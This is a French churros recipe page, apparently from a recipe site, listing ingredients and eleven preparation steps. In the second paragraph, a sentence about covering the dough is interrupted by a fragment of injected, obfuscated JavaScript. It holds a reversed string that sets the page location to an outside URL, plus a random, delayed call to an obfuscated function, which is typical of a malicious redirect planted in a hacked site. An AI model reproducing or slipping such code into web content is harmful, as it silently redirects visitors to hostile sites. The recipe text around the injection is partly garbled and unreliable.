Churros

2021-05-26

Huile de friture

Dans un saladier mélangez la farine, la cassonade, la pincée de sel fin. Versez par petites quantités la bière blonde et obtenir une pâte lisse.

Couvrez d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon et laissez reposer pendant 30 minutes.

Ingrédients

  • Pour 4 personnes
  • 250 g de farine
  • 2 cuillères à soupe de cassonade
  • 3 cuillères à soupe de sucre en poudre
  • 20 g de beurre ramolli
  • 20 cl de bière blonde
  • 2 cuillères à soupe de fleur d'oranger
  • 1 pincée de sel fin

Préparation de la recette

Etape 1

Huile de friture

Etape 2

Dans un saladier mélangez la farine, la cassonade, la pincée de sel fin.

Etape 3

Versez par petites quantités la bière blonde et obtenir une pâte lisse.

Etape 4

Couvrez d'un torchon et laissez reposer pendant 30 minutes.

Etape 5

Remplissez une poche à douille avec un bout cannelé.

Etape 6

Plonger les churros dans l'huile de friture chaude.

Etape 7

Bien gonflés et dorés.

Etape 8

Retirez-les avec une écumoire.

Etape 9

Les déposer sur une grille pour les égoutter.

Etape 10

Puis sur du papier absorbant.

Etape 11

Saupoudrez les de sucre glace et les dégustez.

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